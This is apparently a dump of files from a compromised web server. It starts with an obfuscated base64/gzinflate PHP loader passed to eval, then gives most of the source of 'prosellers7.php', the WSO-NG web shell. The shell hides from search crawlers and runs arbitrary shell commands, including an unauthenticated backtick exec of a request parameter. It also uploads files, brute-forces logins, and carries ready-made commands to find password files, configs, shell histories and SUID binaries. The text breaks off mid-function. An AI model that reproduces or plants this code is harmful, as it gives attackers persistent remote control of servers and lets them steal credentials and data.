VtOEFaWnU0WVBiaDJmd05aWTlGYlFLNkhSK2k4aTFOUzBKVzBjM3dGcTBiempJOTJNTGNpaUpDc2REUVM3SEpzbEhKckRZQlp5QTd1ejBnSWZjQnI0ckhFRVFzQVZBaGRXV3hab1B2TExXUGc1T1JlS2hBOTlzQXVCQTRKT0VaVVpYU1g3aTJZOHVmVkRRejVYT2h5dHlMVFlQWmtPQzNkeG5ENTU0QmgvczdNUUxvTUdYK1NtWk5XczlxcG52aVpna0dQUjVtRFRCSXpKK2NBZTk1STZERDJLN2YrMlRudE44VDIwTm03N0RjWmt0NGcvRXNHQStjd1lZZ3hiTUdMR2dtVElYY1RaZVFzd1BRUUJOdFdhcVFacnpnSlc1N3hyNGJwalZ2WlUwb0JjL282Q3RqcGJVQ01QRUVMMTBDSDFNQWViNEtBVDU2K3VlWnZxeGd3UHZUY05EN3R2OGtqNEI4SFRjaHc0ZXkrUWF6MGIzQkRwS2J1Z0JaZGVwQnJzc2Z3SGE5YU8rdHozM2pVQTM3OVVheTJ0RUVlMUd6UVN6SDMrejNTY3Z6YzZnU0V0L1Q3RWR5UC9sZzlodjZ2N2wrUGl3MUdnTmpIc3VPZ1JNQTY0SUd4QUNTYldlelQ1QVJIQjAxU003N0NDN0hlQUo2V25jU1VRcittaXVzZjFBV0xnQnVDMTFBemNSek5aNHVidERWeE50SXoya1Jac3dXWkE4SGRkQWc4d3FRMVRxbE1LRXhadE9JbXhBTFM0R1NnWk5mMnJmRzgzZVVCRm1BSU9rak1qOCthTHEvc0lBTytpTTU1NmlRY29lWTk3NXpHeTBqV0VYNUE2VVYvQVFic0kvbnVLQXA0QmhNZ05CT1JhOENOOWhsS0k1d1VBcTBMa2dtdHRwd0pLZGkrc2ZUdG5hQ01iNjNhL3VhOGVXSDFMRjlHeXN6MUM0VFk5SzEyNURnSEl2L1RNSVdKc1Q2WjJFNHRVYmV3UDNPR25lNGhGYndxWEVsMU43eGY4ME84cjA4UVViaDJWa2xCTGg2WFFOWGVnUmcvQkJWRnpVc3dOcHpqdDIzTlowcit4QjhjdFJQQ0pIcmVYMUlBOTJnTDF5Wmd0TEE1aXZUNk0wa2xJRnE4SFpXNldiNkJZZlQ1R2hkSkFEMDh5TlBjZ1VaTi8vQUpYd0VvdkJ3eFJLcFYzTTc1QXB4QXU5U3dQVDljK1lOREw3dVV3eGdETlltRkgydDBzaFRqM1FBVzJ2VGpyaGxHWUVpSDAyVlA0SVpXU24yQUxqRXZHSUU1NUhOY202bmVrU1d4T29QMDBNMDlvKzRkNzJDOUtoWk1OZ0NRU2lzb3hUMmNYRFBXaGY2SmJzRGh3SFpSczVma0lxZlFjZXhDSkFwd2NBdlVPMWJmSDNPb1QxUWtlV25RU2tMbUlPVzNVdFF3Y3A0SFRLaThOMEhmK3VOeWpQUlJXWU1kRGE1Ny8rd2xnNFhFdHpSNDZQcHlJc1h3NjJsWGxFZE0yeTNKalQrTXVXeXpwMlZ0Z01WaDcvUEtmMExod3dUKzd2b1JzMzZlKzNJUU9EYSttdWpDb3dsSS9KbGRwKytxc1U5TFN6bElNUmd5N1g3Syt3UDQrSDQzZy93R2FERjdjUGJmQ0hJemIzbWxlOGJPeXZCR25CdDFzQkdJZWlVcXdlYno0TU1LNm1CRFU2WEhhWjI1dGU1WmtGZDdYT0g3VnRhVVplVUNVVEIrWFR4MFNaSW9TcVpHTXk0NGNyWDh3MUxIbXk3UEZYeEEvMjRUSXlDWmJJelF4a0s2VVg5NENFUVJpSHpHR0htTGNaZGdkY1Q4UEZlWU05ZmNlQTFpc29mazA2ZVo0b3NHcDFUcTBWa3NhVFVlSjQxQVMrTzhVUzd2KzIzNFRHVHRSc3ZWRWhMTm5sY05FTms2eFpubjI2cldKeEZTa2hxN1VNbFlra21MTlJwNU1sWU1CZUVaNVBxRWZ6dEM4aHY4WUtIUENaakI3MkYwN3U1aFo0OE9UMU9IbkdLb1lUY2VCN285aEZHeDRqNUN6L0JyT3dEeFVJclkzZklmN2RwdTFzTVdhSWNHSkRuUHNqbWFNSll2SlhoMVBvd296ZWhmaUEzSjJpdzBIenh1UzlKcklvaUlYWE1LSC9YeHlLZ2YvdzRlTGc0TGtmclVBUWZlL0FPNXB0akdKWjIxdldXM0ZqQ2h6WFMwYStxZTRPNGlTS09zcXBIYWdzT2lSS2ttbXRyQS94cC9YbzZ2bDZiSFJHZXRWMEZ3Y0Q0clVIOXNhdWhSNFJDaDE3ZUNaRjNtM3MzU3BvdERZMXVhck1sUExaMm5kaVJ6MWpuVW9xYTlTUHpaWHlKS1QzREhzWG1jMXRjQ2pEemNnWVpIUHZsUVZxM0x0eHgrdERDSWpUWVBiU3prTnFtRk5tNm1zSmlLbjAwYnRmNXZYSzJBSlcrWG52Z0xHSEpjTTZJYjVhR1pBaThPQzJ4dS9IeTM4bEpjU2VXaW9JQXNySTdraEpiSS9UdGtGQkZjR3dSK1lrbU11QjdPbzhEdmsxLyt0cnZWTzU2cEY1RFltQXY2SGNtZ2ZEYitRc1VBS3p2L3NFNEJFN2dtZTJEL21QTFR6OEF2ZGYyUEhwQ1p6TFBvTlNody9kZGt2bWdONHYzS25CS2Jaa1BZYnBLMEVGamxHOXZrTm0zbFNQaE9KekloZ2ZSQkZ4bFNvbUk3M0VzWmUvK2hOSW1hdi81cmk4dFpKTXhqbE9HVWlCL2FEbDlaUi9Keis1ZFVsbjlZRFA0bmt0N0lSUDVPejJraTRqdGxVcW15aFFZQnVoRi9mYUtOSXBCVGhVWUYvRlZBVzQrVGNJbGQ5cHgyaEI5bDBmOXFLd1FhR2VIVTdCZXYrYmtxM3BrMEh1RDNoVnI3Y0QwU3hHUVloekhZYTc5MkxLTXdIQ2V6UnIrR1lReUFMOWpDaGx3Mk4raDRWTGY0QWlIOGhBQllkK2RnVEVzT1pSVGpUeTd0dTM1dkVHYncyNzlUamloYUVUaEU5bFhudEJYM2U4OTBiclh2NmFTdUlxSGc0eHBqNENhenkyRXc2RkcxWUdmYndOb2VxdzRGcXhLWUdSMHQwY0gxS3BROGIwQzhqZ2dWOGx2a0hOampsY01QL3U5cDI3TWI4d24vcCtLNGdjeWdIMFEvdDVGbmE0bVlHYVh5dlZORnV1UTZSbEhKUXRRcFJlUkxTL0tBRVNVSGlZb21GdndGZElFbEdIbjdCN2J6U0duRFRuLzZUNk9CL0xaeHl2S2NGL00rQTlqN2hmKzdHbmhyYitPOWtESVQyZmFoVXJ5dm9VSEVOUVRScUg1QUpVMDVKWjNSWXdkdjdGYU1NME1IdFdtaGlyUjRjNHlwd0VWd1JjcmY0L0NnOGZQQno0enh1NEVpRGl2aWlhay9vMlE0SUxUbFBFV0xldWhINnoyQUtDQXZlVVM1Yy8ySEhlSUI5OTdKQWx2ZGxLTDBOSEJKODdUdThWLzlYNmhPMnphY3E4THgvSmhJNEd3M044TFVTZEVRVG9ZZzEydXl0dFJPWmNpV0pvQk5QdVpZQ1VBZU41N2NuS0tBVTB5Y2FJMnNEVWN5RmE4S1BiWE1pLzVzL2ZCSk0weitvcWJHVzlwSnV6Nis3dm4zZ2hmSzMydi8yeFFrU3VpczNDUEpOd0dSWGdvcmdweUtDakFvWmsrU1ptWDhXYSsvZjR4WUNMRXZqd1p3bEhKallaeGo5Nm51RUYra0xZdVVRRTdsUHJnZUl3ZE5hZ1Q4SGtZRi9xeUw1b3dNUDNISTkzV0dLbTloQzNJNUVMNXBmdnpOazVSUER0VFNCR2hKZWI5dzBXWDlwdXd0Vlc2QWJLVFYrcEFJRjY5MGk3ck9vZGFXeDh6bnhYc3FjdmZsZHNTL2VRVWYrb05vSnBuOWM1eHpBM0RBUXoycjR6TlNjaEw4bi9VWm9hN00wN0JRYytJRFZsOWxsOGNpbDQrYnVzU1lHSjVnbUVyOGJUR2pMR1BSOWNmSE04YVhPWTh3LzUzV05GYVlCdkgvaGZnN1l0NW5RMnhvOWN5S3RENHhsQkJmeVM5RlJNSlladU94WUUwS3JZYkQ3Q01paWRnTDdxa3pyR0lONmN1OWt6OGdUSCtMSjU5N0RXTlhUTlBGamVjZUNDRHF3QzAyelA4Q0czKzlUZTRlelhWMzNQcUN4YTRBaWNScHhNS05wZUJTYnhYMCs0SXpzWGtmSTFxMy9mL3liTUdnZGpUUDRBK3FmWUZFNUVQTmFjQjRPcWVjRkE1KzVkTHlGTmpzd1ZsLy9OcWNQODZ5UWhranJkeFAzYWxrcFRtSFl4RXJwb1JpcFltWnNINm50OWgza0t5VkRGWGtYaDBMOUZsRUQyTytqUm5nZjVKQWFLNTJJczc4Y3hFaXVyclkrV25FR1BMWFROdEpPWU0xZmlybldzUGlDMWdvWnVib0lEM1ByOGVTdmdLWUhaNnUwV1hZb0tKandRYldDeFdBNnVac0NsWWdQRE5zQlRxNWR2SE1GZm9ZTGI5eG52YmpoMVBmbWJ2MGozWnp0VDNoekZSNmdqbU5seFMzRE9IRU1STVRLUUh5WEl6eElXMU5GUnBaaWs0RW05bFpwcVl1MFJKZHlVVThIT2R2SHY1dlZCT3I4WUhGL0JiNURWbE1sRnRGS0hNWjZMbUcwbC9JS3h1L2lFWkpwMDlkSFR4LzlucXpRcHRPTTd2enNkeVZnd095VG5SRzVGLzUxRVI5ckgweVJOWXdJdmNMV291RDNPM0IrSkJBdGEyTTJOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg=="));123456/prosellers7.php000077700000113375151514460360010330 0ustar00<?php session_start(); error_reporting(0); $password = "827ccb0eea8a706c4c34a16891f84e7b"; // 12345 $passtype = "MD5"; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler"); if(preg_match('/'.implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @define('WSO_VERSION','WSO-NG'); // Fix for setcookie vs set_cookie function name if (!function_exists('set_cookie')) { function set_cookie($name, $value, $expire) { return setcookie($name, $value, $expire); } } @set_cookie("wsog","orb",time()+3600*24*7); // Fix for get_magic_quotes_gpc() removal in PHP 8+ if (!function_exists('get_magic_quotes_gpc') || !get_magic_quotes_gpc()) { function WSOstripslashes($array) { return is_array($array) ? array_map('WSOstripslashes',$array) : stripslashes($array); } $_POST = WSOstripslashes($_POST); } $dir = md5(__FILE__); if(isset($_GET['check'])){ die("working"); } if(isset($_GET['checksend'])){ $characters = '0123456789abcdefghijklmnopqrstuvwxyz'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < 30; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } if(@mail($randomString.'@'.$randomString.'.com', "Hello", "Hello, dear user!")){ die("check-result-1"); } else { die("check-result-0"); } } if(isset($_GET['checkzip'])){ $filezip = 'checker_zip_file.zip'; $filetxt = 'checker_zip_file.txt'; $zip = new ZipArchive; if ($zip->open($filezip, ZipArchive::CREATE) === TRUE){ $zip->addFromString($filetxt, 'test'); $zip->close(); $zip = new ZipArchive; $zip->open($filezip); $zip->extractTo(getcwd()); $zip->close(); @system("unzip ".$filezip); @shell_exec("unzip ".$filezip); @passthru("unzip ".$filezip); if(file_exists($filetxt)){ @unlink($filezip); @unlink($filetxt); die("check-result-1"); } else { @unlink($filezip); @unlink($filetxt); die("check-result-0"); } } else { die("check-result-0"); } } if(!empty($password) && $password !== 0) { if (isset($_POST['pass'])) { if ($passtype == "MD5") { $visitorpassword = md5($_POST['pass']); } elseif ($passtype == "SHA1") { $visitorpassword = sha1($_POST['pass']); } else { $visitorpassword = $_POST['pass']; } if($visitorpassword == $password){ $_SESSION[$dir] = "OK"; } } else if (isset($_GET['pass'])) { if ($passtype == "MD5") { $visitorpassword = md5($_GET['pass']); } elseif ($passtype == "SHA1") { $visitorpassword = sha1($_GET['pass']); } else { $visitorpassword = $_GET['pass']; } if($visitorpassword == $password){ $_SESSION[$dir] = "OK"; } } if (!isset($_SESSION[$dir]) || ($_SESSION[$dir] != "OK")) { die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); } } elseif ($password == 0) { $_SESSION[$dir] = "OK"; } if(strtolower(substr(PHP_OS,0,3)) == "win") { $os = 'win'; } else { $os = 'nix'; } // Fix for safe_mode removal in PHP 8+ if (version_compare(PHP_VERSION, '7.4.0', '>=')) { $safe_mode = false; } else { $safe_mode = @ini_get('safe_mode'); } if(!$safe_mode) { $disable_functions = @ini_get('disable_functions'); } $home_cwd = @getcwd(); if(isset($_POST['c'])) { @chdir($_POST['c']); } $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("\\","/",$home_cwd); $cwd = str_replace("\\","/",$cwd); } if($cwd[strlen($cwd)-1] != '/') { $cwd .= '/'; } if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'])) { $_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = (bool)$default_use_ajax; } if($os == 'win') { $aliases = array( "List Directory"=>"dir", "Find index.php in current dir"=>"dir /s /w /b index.php", "Find *config*.php in current dir"=>"dir /s /w /b *config*.php", "Show active connections"=>"netstat -an", "Show running services"=>"net start", "User accounts"=>"net user", "Show computers"=>"net view", "ARP Table"=>"arp -a", "IP Configuration"=>"ipconfig /all" ); } else { $aliases = array( "List dir"=>"ls -lha", "list file attributes on a Linux second extended file system"=>"lsattr -va", "show opened ports"=>"netstat -an | grep -i listen", "process status"=>"ps aux", "Find"=>"", "find all suid files"=>"find / -type f -perm -04000 -ls", "find suid files in current dir"=>"find . -type f -perm -04000 -ls", "find all sgid files"=>"find / -type f -perm -02000 -ls", "find sgid files in current dir"=>"find . -type f -perm -02000 -ls", "find config.inc.php files"=>"find / -type f -name config.inc.php", "find config* files"=>"find / -type f -name \"config*\"", "find config* files in current dir"=>"find . -type f -name \"config*\"", "find all writable folders and files"=>"find / -perm -2 -ls", "find all writable folders and files in current dir"=>"find . -perm -2 -ls", "find all service.pwd files"=>"find / -type f -name service.pwd", "find service.pwd files in current dir"=>"find . -type f -name service.pwd", "find all .htpasswd files"=>"find / -type f -name .htpasswd", "find .htpasswd files in current dir"=>"find . -type f -name .htpasswd", "find all .bash_history files"=>"find / -type f -name .bash_history", "find .bash_history files in current dir"=>"find . -type f -name .bash_history", "find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc", "Locate"=>"", "locate httpd.conf files"=>"locate httpd.conf", "locate vhosts.conf files"=>"locate vhosts.conf", "locate proftpd.conf files"=>"locate proftpd.conf", "locate psybnc.conf files"=>"locate psybnc.conf", "locate my.conf files"=>"locate my.conf", "locate admin.php files"=>"locate admin.php", "locate cfg.php files"=>"locate cfg.php", "locate conf.php files"=>"locate conf.php", "locate config.dat files"=>"locate config.dat", "locate config.php files"=>"locate config.php", "locate config.inc files"=>"locate config.inc", "locate config.inc.php"=>"locate config.inc.php", "locate config.default.php files"=>"locate config.default.php", "locate config* files "=>"locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files"=>"locate '.pwd'", "locate .sql files"=>"locate '.sql'", "locate .htpasswd files"=>"locate '.htpasswd'", "locate .bash_history files"=>"locate '.bash_history'", "locate .mysql_history files"=>"locate '.mysql_history'", "locate .fetchmailrc files"=>"locate '.fetchmailrc'", "locate backup files"=>"locate backup", "locate dump files"=>"locate dump", "locate priv files"=>"locate priv" ); } function wsoHeader() { if(empty($_POST['charset'])) { $_POST['charset'] = $GLOBALS['default_charset']; } global $color; echo "<html><head> <meta http-equiv='Content-Type' content='text/html; charset=".$_POST['charset'] ."'>PRIV8 - <title>".$_SERVER['HTTP_HOST'] ." - WSO ".WSO_VERSION ."</title> <style> body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;} #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;} body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;} table.info {color:#C3C3C3;} table#toolsTbl {background-color: #060A10;} span,h1,a {color:#fff !important;} span {font-weight:bolder;} h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;} div.content {padding:5px;margin-left:5px;background-color:#060a10;} a {text-decoration:none;} a:hover {text-decoration:underline;} .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;} .tooltip:hover::after {opacity:1;visibility:visible;} .ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;} .bigarea {min-width:100%;max-width:100%;height:400px;} input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;} label {position:relative} label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;} label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;} form {margin:0px;} #toolsTbl {text-align:center;} #fak {background:none;} #fak td {padding:5px 0 0 0;} iframe {border:1px solid #060a10;} .toolsInp {width:300px} .main th {text-align:left;background-color:#060a10;} .main tr:hover{background-color:#354252;} .main td, th{vertical-align:middle;} input[type='submit']{background-color:#2E6E9C;} input[type='button']{background-color:#2E6E9C;} input[type='submit']:hover{background-color:#56AD15;} input[type='button']:hover{background-color:#56AD15;} .l1 {background-color:#202832;} pre {font:9pt Courier New;} </style> <script> var c_ = '".htmlspecialchars($GLOBALS['cwd']) ."'; var a_ = '".htmlspecialchars(@$_POST['a']) ."' var charset_ = '".htmlspecialchars(@$_POST['charset']) ."'; var p1_ = '".htmlspecialchars(@$_POST['p1'], ENT_QUOTES) ."'; var p2_ = '".htmlspecialchars(@$_POST['p2'], ENT_QUOTES) ."'; var p3_ = '".htmlspecialchars(@$_POST['p3'], ENT_QUOTES) ."'; var p4_ = '".htmlspecialchars(@$_POST['p4'], ENT_QUOTES) ."'; var d = document; function set(a,c,p1,p2,p3,charset) { if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); d.mf.submit(); } function a(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); var params = 'ajax=true'; for(i=0;i<d.mf.elements.length;i++) params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); sr('".addslashes($_SERVER['REQUEST_URI']) ."', params); } function sr(url, params) { if (window.XMLHttpRequest) req = new XMLHttpRequest(); else if (window.ActiveXObject) req = new ActiveXObject('Microsoft.XMLHTTP'); if (req) { req.onreadystatechange = processReqChange; req.open('POST', url, true); req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); req.send(params); } } function processReqChange() { if( (req.readyState == 4) ) if(req.status == 200) { var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); var arr=reg.exec(req.responseText); eval(arr[2].substr(0, arr[1])); } else alert('Request error!'); } </script> </head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'> <form method=post name=mf style='display:none;'> <input type=hidden name=a> <input type=hidden name=c> <input type=hidden name=p1> <input type=hidden name=p2> <input type=hidden name=p3> <input type=hidden name=charset> </form>"; $freeSpace = @disk_free_space($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/",$GLOBALS['cwd']); $n=count($path); for($i=0;$i<$n-1;$i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; for($j=0;$j<=$i;$j++) $cwd_links .= $path[$j].'/'; $cwd_links .= "\")'>".$path[$i]."/</a>"; } $charsets = array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866'); $opt_charsets = ''; foreach($charsets as $item) { $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; } $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); if(!empty($GLOBALS['password'])) { $m['Logout'] = 'Logout'; } $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach($m as $k =>$v) { $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>'; } $drives = ""; if(isset($_REQUEST['I'])) { @print(`{$_REQUEST['I']}`); } if($GLOBALS['os'] == 'win') { foreach(range('c','z') as $drive) { if(is_dir($drive.':\\')) { $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; } } } echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'') .'</span></td>' .'<td><nobr>'.substr(@php_uname(),0,120) .' </nobr><br>'.$uid .' ( '.$user .' ) <span>Group:</span> '.$gid .' ( '.$group .' )<br>'.@phpversion() .' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>') .' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s') .'<br>'.wsoViewSize($totalSpace) .' <span>Free:</span> '.wsoViewSize($freeSpace) .' ('.(int) ($freeSpace/$totalSpace*100) .'%)<br>'.$cwd_links .' '.wsoPermsColor($GLOBALS['cwd']) .' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'] .'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives .'</td>' .'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>' .'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu .'</tr></table><div style="margin:5">'; } function wsoFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; echo " </div> <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> <tr> <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> <td><form method='post' ENCTYPE='multipart/form-data'> <input type=hidden name=a value='FilesMan'> <input type=hidden name=c value='".$GLOBALS['cwd'] ."'> <input type=hidden name=p1 value='uploadFile'> <input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'') ."'> <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br></td></tr></table></div></body></html>"; } if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} } if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} } function wsoEx($in) { $out = ''; if (function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); 